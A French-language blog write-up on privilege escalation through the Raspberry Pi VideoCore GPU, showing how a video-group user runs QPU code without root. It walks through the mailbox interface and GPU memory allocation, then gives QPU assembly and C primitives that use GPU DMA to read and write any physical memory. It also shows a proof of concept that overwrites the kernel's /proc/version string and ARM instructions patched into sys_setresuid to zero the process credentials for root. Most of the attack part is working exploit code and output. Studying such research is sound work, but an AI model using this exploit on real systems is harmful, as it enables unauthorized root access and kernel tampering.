Raspberry Pi - GPU Exploitation

Introduction

Aujourd’hui on va parler du GPU1 de la Raspberry Pi (ce petit ordinateur ci-dessous)

Il y’a quelque temps, j’ai décidé de bricoler un système d’exploitation rudimentaire pour raspberry. Au cours de mes recherches sur le développement de driver vidéo j’ai trouvé sur ce github https://github.com/doe300/VC4CL contenant ce paragraphe.

L’auteur nous explique que le GPU peut accéder à la totalité de la mémoire physique et ainsi lire et écrire sur des zones sensibles comme le kernel. Les processus qui utilisent VC4CL doivent être root ou dans le groupe video, donc en théorie l’utilisateur pi (qui est dans le groupe video) est capable d’exécuter du code sur le GPU. A partir de là, il y’a cette petite voix qui vous chuchote à l’oreille, “ça sent l’elevation de privilège”. On va essayer de passer root avec un programme exécuté dans le contexte d’un utilisateur du groupe video.

Mailbox

Tout d’abord, voici un premier problème à résoudre : comment exécuter du code sur le GPU ?

Il existe un périphérique nommé mailbox qui facilite la communication entre le CPU ARM et le GPU (VideoCore). Sur la Raspberry Pi 3 les registres de ce périphérique sont mappés en 0x3F00B880.

Le principe est assez simple, le CPU écrit dans le registre MBOX_WRITE l’adresse du message qu’il souhaite envoyer et sur quel canal. Pour parler au VideoCore on utilise le canal 8 PROPERTY_TAGS_ARM_TO_VC. Ensuite on poll le registre MBOX_STATUS jusqu’à ce que le bit DONE soit mis à 0. À ce moment on sait que le VideoCore a répondu ( la réponse écrase la requête ).

Les messages envoyés au VideoCore suivent un format précis (extrait du wiki Mailbox property interface2):

Chaque tag est construit comme ceci (on peut envoyer plusieurs tags dans un seul message)

Tout ça est bien beau mais la plage mémoire du périphérique mailbox n’est pas accessible directement depuis le user-land. Heureusement pour nous le driver vcio de broadcom expose une interface sur /dev/vcio. L’ioctl IOCTL_MBOX_PROPERTY permet d’envoyer directement un message sur le canal 8.

Pour l’exemple on va envoyer le tag “Get Board Revision”, il est construit comme ceci

  • Tag Id : 0x10002
  • Size : 4
  • ResponseStatus : 0, ce champ sera rempli par le VideoCore
  • Params/Response : 0, le VideoCore placera le code du modèle de la carte ici.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/ioctl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>

#define MAJOR_NUM 100
#define IOCTL_MBOX_PROPERTY _IOWR(MAJOR_NUM, 0, char *)

#define PROCESS_REQUEST 0

#define TAG_END 0
#define TAG_GET_BOARD_MODEL 0x10001
#define TAG_GET_BOARD_REV 0x10002
#define TAG_GET_BOARD_MAC 0x10003

int main(int argc,char** argv)
{
	uint32_t message[32] = {0};

	int fd = open("/dev/vcio",O_RDWR);

	message[0] = 7 * sizeof(uint32_t); // Total message length
	message[1] = PROCESS_REQUEST;
	message[2] = TAG_GET_BOARD_REV;
	message[3] = 4; // Length for response
	message[4] = 0; // VideoCore write response length here
	message[5] = 0; // VideoCore write board revision here
	message[6] = TAG_END;

	int status = ioctl(fd,IOCTL_MBOX_PROPERTY,message);
	
	printf("status = %d\n",status);
	printf("Message status = %08.8x\n",message[1]);
	printf("Tag status = %s, Response Length %d\n", (message[4] & (1 << 31)) ? "OK" : "FAILED", message[4] & ~(1 << 31));
	printf("Board Rev : %08.8x\n",message[5]);
	
	close(fd);
}

On peut facilement vérifier le résultat en le comparant avec la sortie de /proc/cpuinfo

$ gcc test1.c -o test1
$ ./test1
status = 0
Message status = 80000000
Tag status = OK, Response Length 4
Board Rev : 00a02082
$ cat /proc/cpuinfo
[...]
Revision        : a02082
Serial          : 00000000d1ed49d7
Model           : Raspberry Pi 3 Model B Rev 1.2

QPU Helloworld

Parmi les autres tags que l’on peut envoyer sur le canal 8 il y’a “Execute QPU” :

  • Tag Id : 0x30011
  • Size : 16
  • ResponseStatus : 0
  • Parameters:
    • num_qpus
    • vc_msg
    • noflush
    • timeout

Ce tag permet de démarrer un ou plusieurs QPU qui sont les coeurs du processeur graphique.

Il existe un exemple très simple d’utilisation sur le github https://github.com/elorimer/rpi-playground/tree/master/QPU/helloworld . Le code n’est pas totalement fonctionnel et nécessite une petite correction expliquée dans la suite de l’article.

Le programme driver.c alloue une seule zone mémoire partagée entre le GPU et le CPU. Sur cette zone on map une structure memory_map de la forme suivante :

vc_msg est un pointeur vers un tableau de msg composée de deux valeurs pour chaque unité d’exécution (QPU).

  • la première est l’adresse du code à faire exécuter par le QPU
  • la deuxième est l’adresse d’un tableau de valeur passée au QPU, appelé uniforms.

Les uniforms sont des valeurs sur 32 bits stockées en mémoire sous forme de listes FIFO. Les uniforms sont accessibles via les registres ra32 et rb32 du QPU (Cf documentation3 page 37). Une lecture de l’un de ces registres permet de lire la première, la seconde lecture récupéreras la deuxième etc …

Le VideoCore est un GPU basé sur une architecture SIMD (Single Instruction On Multiple Data). Un QPU est constitué de deux bancs A et B de 32 registres à usage général, de 4 registres accumulateurs (r0-r3) et deux registres accumulateurs spéciaux (r4,r5). Chaque registre constitue un vecteur de 16 mots de 32 bits. Cela implique que lorsqu’on charge une valeur de 32 bits par les uniforms, cette valeur se retrouve dans les 16 mots du registre.

Deuxième particularité de l’architecture, chaque QPU contient deux ALU indépendantes. C’est pourquoi la plupart des instructions assembleurs sont composées de deux opérations.

Le code helloworld.asm executé par le QPU , additionne 0x1234 avec une valeur, au choix de l’utilisateur. Le résultat est ensuite écrit dans le tableau results grâce à une opération de DMA4 (Direct Memory Access). C’est le GPU qui est à l’initiative du transfert DMA. La configuration des registres du DMA sera détaillée plus tard.

Pour assembler le code GPU on utilise qpu-assembler :

$ ./qpu-assembler -o helloworld.bin < helloworld.asm

Allocation de mémoire

Le programme réserve de la mémoire partagée entre le CPU et le GPU avec les tags suivants:

  • “Allocate Memory” (0x3000c) alloue une zone mémoire pour le GPU, retourne un handle
  • “Lock Memory” (0x3000d) retourne une adresse du point de vue du GPU à partir d’un handle

Il y a un léger problème dans le code, l’adresse retournée par “Lock Memory” qui est une adresse du bus VideoCore n’est pas convertie en adresse physique ARM.

#define GPU_MEM_MAP     0x0
[...]
void *arm_ptr = mapmem(ptr + GPU_MEM_MAP, size);

Comme le montre la documentation du BCM2835, la mémoire physique du CPU est mappée à l’adresse 0xC0000000 (encadrée en rouge sur le schéma) pour le VideoCore.

Une petite correction s’impose :

void *arm_ptr = mapmem(ptr & ~0xC0000000, size);

Maintenant que le programme est corrigé, voici le comportement attendu :

$ sudo ./helloworld helloworld.bin 4
Loaded 80 bytes of code from helloworld.bin ...
QPU enabled.
Uniform value = 4
GPU memory ptr = 0xbe8eb000
ARM physical = 0x3e8eb000
QPU 0, word 0: 0x00001238
QPU 0, word 1: 0x00001238
QPU 0, word 2: 0x00001238
QPU 0, word 3: 0x00001238
QPU 0, word 4: 0x00001238
QPU 0, word 5: 0x00001238
QPU 0, word 6: 0x00001238
QPU 0, word 7: 0x00001238
QPU 0, word 8: 0x00001238
QPU 0, word 9: 0x00001238
QPU 0, word 10: 0x00001238
QPU 0, word 11: 0x00001238
QPU 0, word 12: 0x00001238
QPU 0, word 13: 0x00001238
QPU 0, word 14: 0x00001238
QPU 0, word 15: 0x00001238
Cleaning up.
Done.

La seule fonction qui nécessite d’avoir les privilèges du super-utilisateur est mapmem. Elle utilise le device /dev/mem pour mapper la mémoire physique partagée entre le VideoCore et le processeur ARM dans l’espace d’adressage du processus. Ce serait bien si on pouvait trouver une autre méthode.

Heureusement Broadcom a pensé à tout, en creusant un peu dans le code VC4CL j’ai découvert des fonctions provenant de la bibliothèque /opt/vc/lib/libvcsm.so.

On retrouve l’équivalent de “Allocate Memory”,

/* Allocates a non-cached block of memory of size 'size' via the vcsm memory
** allocator.
**
** Returns:        0 on error
**                 a non-zero opaque handle on success.
**
** On success, the user must invoke vcsm_lock with the returned opaque
** handle to gain access to the memory associated with the opaque handle.
** When finished using the memory, the user calls vcsm_unlock_xx (see those
** function definition for more details on the one that can be used).
** 
** A well behaved application should make every attempt to lock/unlock
** only for the duration it needs to access the memory data associated with
** the opaque handle.
*/
unsigned int vcsm_malloc( unsigned int size, const char *name );

ainsi que “Lock Memory”. Là où c’est plus intéressant c’est que vcsm_lock renvoie un pointeur userland et non une adresse physique cette fois-ci.

/* Locks the memory associated with this opaque handle.
**
** Returns:        NULL on error
**                 a valid pointer on success.
**
** A user MUST lock the handle received from vcsm_malloc
** in order to be able to use the memory associated with it.
**
** On success, the pointer returned is only valid within
** the lock content (ie until a corresponding vcsm_unlock_xx
** is invoked).
*/
void *vcsm_lock( unsigned int handle );

La libvcsm.so utilise les ioctl d’un device /dev/vcsm-cma pour gérer les zones mémoire reservées au GPU. C’est le driver qui se charge de mapper la zone mémoire dans l’espace d’adressage du processus. Ce device est accessible depuis le groupe video.

$ ls -la /dev/vcsm-cma
crw-rw----  1 root video  10,  62 Dec  9 20:17 /dev/vcsm-cma

Pour initialiser correctement la structure memory_map on a aussi besoin de l’adresse du bus VideoCore, il y’a une API pour ça :

/* Retrieves a videocore (bus) address from a opaque handle
** pointer.
**
** Returns:        0 on error
**                 a non-zero videocore address on success.
*/
unsigned int vcsm_vc_addr_from_hdl( unsigned int handle );

Maintenant on a toutes les briques pour se passer de la fonction mapmem :

vcsm_init();
unsigned size = 1024 * 1024;
unsigned handle = vcsm_malloc(size, "mem");
unsigned user_ptr = vcsm_lock(handle);
unsigned gpu_ptr = vcsm_vc_addr_from_hdl(handle);
[...]
vcsm_unlock_hdl(handle);
vcsm_free(handle);
vcsm_exit();

Conclusion, on peut lancer le programme sans sudo cette fois-ci et ça fonctionne toujours.

PoC - Direct Memory Access

Maintenant que l’on sait exécuter du code sur le GPU sans les droits root on va voir si on peut écrire n’importe où. Tout d’abord dans le fichier d’exemple helloworld.asm, on peut changer la valeur écrite par quelque chose d’affichable ce sera plus pratique pour les tests.

ldi ra1,0x4b434148

Comme expliqué précédemment, la deuxième valeur du tableau uniforms est une adresse de bus VideoCore correspondant au tableau results. C’est celle-là que l’on va changer.

Le kernel de raspbian est chargé à une adresse fixe, 0x8000 d’après /proc/iomem :

$ sudo cat /proc/iomem
00000000-3b3fffff : System RAM
  00008000-00dfffff : Kernel code
  00f00000-0111fd83 : Kernel data
[...]

Sachant que le GPU map la mémoire physique à partir de 0xC0000000 et que le kernel de raspbian est chargé en 0x8000, alors coté GPU on devrait retrouver notre kernel en 0xC0008000. Pour tester on va écraser un bout de chaine de format utilisé lorsqu’on cat /proc/version. ( débutant en 0xB00054 sur ma version de kernel )

On change la deuxième valeur du tableau uniforms par l’adresse de la chaine vue du VideoCore.

arm_map->uniforms[i][1] = 0xC0000000 + 0xB00062; // vc_results + i * sizeof(unsigned) * 16; 

Voyons ce qu’il se passe :

$ cat /proc/version
Linux version 5.10.63-v7+ (dom@buildbot) (arm-linux-gnueabihf-gcc-8 (Ubuntu/Linaro 8.4.0-3ubuntu1) 8.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1459 SMP Wed Oct 6 16:41:10 BST 2021
$ ./helloworld helloworld2.bin 0
Loaded 80 bytes of code from helloworld2.bin ...
QPU enabled.
Uniform value = 0
GPU memory ptr = 0xf7600000
ARM physical = 0x37600000
QPU 0, word 0: 0x00000000
QPU 0, word 1: 0x00000000
QPU 0, word 2: 0x00000000
QPU 0, word 3: 0x00000000
QPU 0, word 4: 0x00000000
QPU 0, word 5: 0x00000000
QPU 0, word 6: 0x00000000
QPU 0, word 7: 0x00000000
QPU 0, word 8: 0x00000000
QPU 0, word 9: 0x00000000
QPU 0, word 10: 0x00000000
QPU 0, word 11: 0x00000000
QPU 0, word 12: 0x00000000
QPU 0, word 13: 0x00000000
QPU 0, word 14: 0x00000000
QPU 0, word 15: 0x00000000
Cleaning up.
Done.
$ cat /proc/version
Linux version 5.10.63-v7+ HACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKHACKubuntu1) 8.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1459 SMP Wed Oct 6 16:41:10 BST 2021

Et c’est gagné \o/

Primitive Read / Write

Maintenant que le PoC fonctionne on va s’intéresser de plus près au DMA dans le but de construire une primitive de lecture / écriture en mémoire physique. Cela nous permettra d’aller patcher des bouts de code intéressants, ou voler des secrets en mémoire.

D’après la documentation le GPU possède une zone mémoire appelée VPM (Vertex Pipe Memory). Du point de vue d’un QPU, le VPM est un tableau en 2 dimensions de 16x64 mots de 32 bits. Le VPM permet de stocker des vecteurs de 16 mots de 32 bits, 16 bits ou 8 bits et de manière horizontale ou verticale.

  • Pour effectuer un transfert de données du GPU vers l’hôte, on écrit les vecteurs successivement dans le VPM puis on configure le VDW (VPM DMA Writer) pour transférer le contenu du VPM dans la mémoire physique.
  • Pour transférer des données de l’hôte vers le GPU, on configure le VCM (Vertex Cache Manager) pour transférer le contenu de la mémoire physique dans le VPM, puis on récupère les vecteurs par lectures successives sur le VPM.

DMA Write

Prenons le programme d’exemple:

# Configure the VPM for writing
ldi rb49, 0xa00

Le registre rb49 (VPMVCD_WR_SETUP) permet de configurer le VPM ou le DMA en écriture selon ses bits de poids fort. Ci-dessous un extrait de la documentation avec le détails de la valeur 0xa00.

VPM generic block write setup register ( VideoCore® IV 3D Architecture Reference Guide p57 )

Le VPM est configuré pour stocker des vecteurs de 32 bits en horizontal à partir de X=0,Y=0. STRIDE vaut 0, ADDR sera incrémenté de 64 pour chaque écriture dans le VPM, mais cela n’a pas d’importance pour l’exemple car on n’écrit que 1 seul vecteur. Le vecteur est envoyé dans le VPM grâce au registre rb48 (VPM_WRITE).

# Add the input value (from the first uniform) and the
# hard-coded constant into the VPM we just set up
add rb48, ra1, rb32;      nop

Ci-dessous une représentation du buffer VPM après avoir écrit le vecteur ra1 ( dans le cas où ra1 vaut [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] ) :

Si le VPMVCD_WR_SETUP avait été configuré en vertical on aurait eu cette représentation du buffer VPM.

Ensuite le programme prépare le transfert du VPM vers la mémoire physique via le registre rb49.

## move 16 words (1 vector) back to the host (DMA)
ldi rb49, 0x88010000

Ci-dessous un extrait de la documentation, et le détail de la valeur 0x88010000

VPM DMA Store (VDW) basic setup register ( VideoCore® IV 3D Architecture Reference Guide p58 )

Le bit H étant à 0 le VPM sera lu mot par mot en mode vertical, la documentation n’est pas très claire à ce sujet.

  • En mode vertical, l’écriture se fait colonne par colonne, UNITS indique un nombre de colonnes et DEPTH la taille d’une colonne. Par exemple avec la configuration MODEW = 32 bit, UNITS=2, DEPTH=2 on trouvera en mémoire physique le mot en X=0,Y=0 puis le mot en X=0,Y=1 ensuite X=1,Y=0 puis X=1,Y=1.
  • En mode horizontal, l’écriture se fait ligne par ligne, UNITS indique un nombre de lignes et DEPTH la taille d’une ligne.

Le programme écrit l’adresse du buffer results dans le registre rb50 ( VPM_ST_ADDR ), ce qui déclenche le transfert DMA. Le buffer VPM est copié en mémoire physique.

# initiate a DMA transfer
or rb50, ra32, 0;         nop

La lecture du registre rb50 ( VPM_ST_WAIT ) permet d’attendre la fin de l’opération de DMA.

# wait for the DMA transfer to finish
or rb39, rb50, ra39;      nop

DMA Read

Les registres de configuration du VPM/DMA en lecture sont similaires. Pour initier un transfert DMA de l’hôte vers le VPM on configure le VCD via le registre ra49 ( VPMVCD_RD_SETUP )

## move 16 words (1 vector) back to the gpu (DMA)
ldi ra49, 0x83011000

Ci-dessous un extrait de la documentation ainsi que le détail de la valeur ci-dessus:

VPM generic block read setup ( VideoCore® IV 3D Architecture Reference Guide p58 )

  • MPITCH correspond à la taille d’une ligne (1 vecteur) en octets, soit 16 mots de 32 bits ce qui donne 64 octets
  • VPITCH est l’incrément à ajouter à ADDRXY à chaque fois que le GPU lit puis stocke un vecteur dans le VPM. (Peu d’importance dans notre exemple puisqu’on ne lit que 1 vecteur)
  • V = 0, Une fois lus les vecteurs sont stockés de manière horizontale dans le VPM

On démarre le transfert DMA en renseignant l’adresse mémoire des vecteurs dans le registre ra50 ( VPM_LD_ADDR )

## initiate the DMA (the next uniform - ra32 - is the host address to read to)
or ra50, ra32, 0; nop

On attend que l’opération se termine

## Wait for the DMA to complete
or rb39, ra50, rb39;       nop

Ensuite on configure les accès au VPM.

## Configure the VPM for reading
ldi ra49, 0x100a00

Ci-dessous un extrait de la documentation sur le registre VPMVCD_RD_SETUP :

VPM DMA Load (VDR) basic setup register ( VideoCore® IV 3D Architecture Reference Guide p59 )

Les vecteurs sont lus successivement depuis le registre ra48 (VPM_READ).

## read vector
and ra1, ra1, 0; nop
or ra1, ra48, 0; nop

Exploit

Le code suivant permet de copier 64 octets d’une adresse source vers une adresse de destination.

## move 16 words (1 vector) back to the gpu (DMA)
ldi ra49, 0x83011000

## initiate the DMA (the first uniform - ra32 - is the host address to read to)
or ra50, ra32, 0; nop

## Wait for the DMA to complete
or rb39, ra50, ra39;       nop

## Configure the VPM for reading
ldi ra49, 0x100a00

## read vector
xor ra1, ra1, ra1; nop
or ra1, ra48, 0; nop

## Configure the VPM for writing
ldi rb49, 0xa00

or rb48, ra1, 0 ; nop

## move 16 words (1 vector) back to the host (DMA)
ldi rb49, 0x88010000

## initiate the DMA (the next uniform - ra32 - is the host address to write to)
or rb50, ra32, 0;          nop

# Wait for the DMA to complete
or rb39, rb50, ra39;       nop

# trigger a host interrupt (writing rb38) to stop the program
or rb38, ra39, ra39;       nop

nop.tend ra39, ra39, ra39;       nop rb39, rb39, rb39
nop ra39, ra39, ra39;       nop rb39, rb39, rb39
nop ra39, ra39, ra39;       nop rb39, rb39, rb39

Ensuite on peut préparer nos primitives C pour lire …

#define VECTOR_SIZE 16 * 4
#define PHYS_TO_GPU(x) (0xC0000000 + x)

void phys_read16(unsigned phys_ptr, uint8_t* output)
{
	int mb = mbox_open();

	if (qpu_enable(mb, 1))
	{
		fprintf(stderr, "QPU enable failed.\n");
		return -1;
	}

	vcsm_init();

	unsigned size = 1024 * 1024;
	unsigned handle = vcsm_malloc(size, "mem");
	
	if (!handle)
	{
		fprintf(stderr, "Unable to allocate %d bytes of GPU memory", size);

		vcsm_exit();
		qpu_enable(mb, 0);
		mbox_close(mb);
		return -2;
	}

	unsigned user_ptr = vcsm_lock(handle);
	unsigned gpu_ptr = vcsm_vc_addr_from_hdl(handle);

	struct memory_map* mem_map = (struct memory_map*)user_ptr;
	memset(mem_map, 0, sizeof(struct memory_map));

	uint8_t* vc_code = gpu_ptr + offsetof(struct memory_map, code);
	uint8_t* vc_uniforms = gpu_ptr + offsetof(struct memory_map, uniforms);
	uint8_t* vc_msg = gpu_ptr + offsetof(struct memory_map, msg);
	uint8_t* vc_results = gpu_ptr + offsetof(struct memory_map, results);

	memcpy(mem_map->code, code, code_size);

	mem_map->uniforms[0][0] = PHYS_TO_GPU(phys_ptr);  // source address
	mem_map->uniforms[0][1] = vc_results;             // destination address
	mem_map->msg[0][0] = vc_uniforms;
	mem_map->msg[0][1] = vc_code;

	unsigned int ret = execute_qpu(mb, NUM_QPUS, vc_msg, 1, 10000);
	
	memcpy(output, &mem_map->results[0][0], VECTOR_SIZE);

	vcsm_unlock_hdl(handle);
	vcsm_free(handle);
	vcsm_exit();

	qpu_enable(mb, 0);
	mbox_close(mb);
}

Et écrire …

void phys_write16(unsigned phys_ptr, uint8_t* input)
{
	int mb = mbox_open();

	if (qpu_enable(mb, 1))
	{
		fprintf(stderr, "QPU enable failed.\n");
		return -1;
	}

	vcsm_init();

	unsigned size = 1024 * 1024;
	unsigned handle = vcsm_malloc(size, "mem");

	if (!handle)
	{
		fprintf(stderr, "Unable to allocate %d bytes of GPU memory", size);

		vcsm_exit();
		qpu_enable(mb, 0);
		mbox_close(mb);
		return -2;
	}

	unsigned user_ptr = vcsm_lock(handle);
	unsigned gpu_ptr = vcsm_vc_addr_from_hdl(handle);

	struct memory_map* mem_map = (struct memory_map*)user_ptr;
	memset(mem_map, 0, sizeof(struct memory_map));

	uint8_t* vc_code = gpu_ptr + offsetof(struct memory_map, code);
	uint8_t* vc_uniforms = gpu_ptr + offsetof(struct memory_map, uniforms);
	uint8_t* vc_msg = gpu_ptr + offsetof(struct memory_map, msg);
	uint8_t* vc_results = gpu_ptr + offsetof(struct memory_map, results);

	memcpy(mem_map->code, code, code_size);
	memcpy(&mem_map->results[0][0], input, VECTOR_SIZE);

	mem_map->uniforms[0][0] = vc_results;         // source
	mem_map->uniforms[0][1] = PHYS_TO_GPU(phys_ptr); // destination
	mem_map->msg[0][0] = vc_uniforms;
	mem_map->msg[0][1] = vc_code;

	unsigned int ret = execute_qpu(mb, NUM_QPUS, vc_msg, 1, 10000);


	vcsm_unlock_hdl(handle);
	vcsm_free(handle);
	vcsm_exit();

	qpu_enable(mb, 0);
	mbox_close(mb);
}

Ensuite pour passer root il n’y a plus qu’à changer la structure creds_t de notre processus. Pour cela on peut temporairement patcher le syscall setresuid par notre propre code.

long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
	struct user_namespace *ns = current_user_ns();
	const struct cred *old;
	struct cred *new;
	int retval;
	kuid_t kruid, keuid, ksuid;
	kruid = make_kuid(ns, ruid);
	keuid = make_kuid(ns, euid);
	ksuid = make_kuid(ns, suid);
	if ((ruid != (uid_t) -1) && !uid_valid(kruid))
		return -EINVAL;
	if ((euid != (uid_t) -1) && !uid_valid(keuid))
		return -EINVAL;
	if ((suid != (uid_t) -1) && !uid_valid(ksuid))
		return -EINVAL;
	new = prepare_creds();
	if (!new)
		return -ENOMEM;
	old = current_cred();
	
	retval = -EPERM;
	if (!ns_capable_setid(old->user_ns, CAP_SETUID)) {
	[...]

Le kernel de raspbian n’est pas soumis au KASLR, on peut retrouver facilement l’adresse virtuelle de setresuid avec /proc/kallsyms

$ sudo cat /proc/kallsyms | grep ' sys_setresuid'
80134c80 T sys_setresuid

A partir de l’adresse virtuelle on retrouve la fonction dans notre base IDA et l’adresse du code assembleur à écraser 0x80134B44 soit 0x134B44 en adresse physique.

Le plus simple consiste à rajouter quelques instructions après current_cred pour mettre à zéro les champs de la structure creds (dont le pointeur réside dans R3) de la tâche courante.

mov     r0, #0
str     r0, [r3, #4]     ; uid = 0
str     r0, [r3, #8]     ; gid = 0
str     r0, [r3, #0xc]   ; suid = 0
str     r0, [r3, #0x10]  ; sgid = 0
str     r0, [r3, #0x14]  ; euid = 0
str     r0, [r3, #0x18]  ; egid = 0
; return function sys_setresuid
sub     sp, fp, #0x28
ldm     sp, {r4, r5, r6, r7, r8, sb, sl, fp, sp, pc}

Gimme ! gimme ! gimme ! give me root rights now

Références

  1. GPU (Graphics Processing Unit) : https://en.wikipedia.org/wiki/Graphics_processing_unit
  2. Mailbox property interface https://github.com/raspberrypi/firmware/wiki/Mailbox-property-interface
  3. VideoCore® IV 3D Architecture Reference Guide : https://docs.broadcom.com/doc/12358545
  4. DMA (Direct Memory Access): https://en.wikipedia.org/wiki/Direct_memory_access
  5. Hacking the gpu for fun and profit : https://rpiplayground.wordpress.com/2014/05/03/hacking-the-gpu-for-fun-and-profit-pt-1/
  6. QPU Example code : https://github.com/elorimer/rpi-playground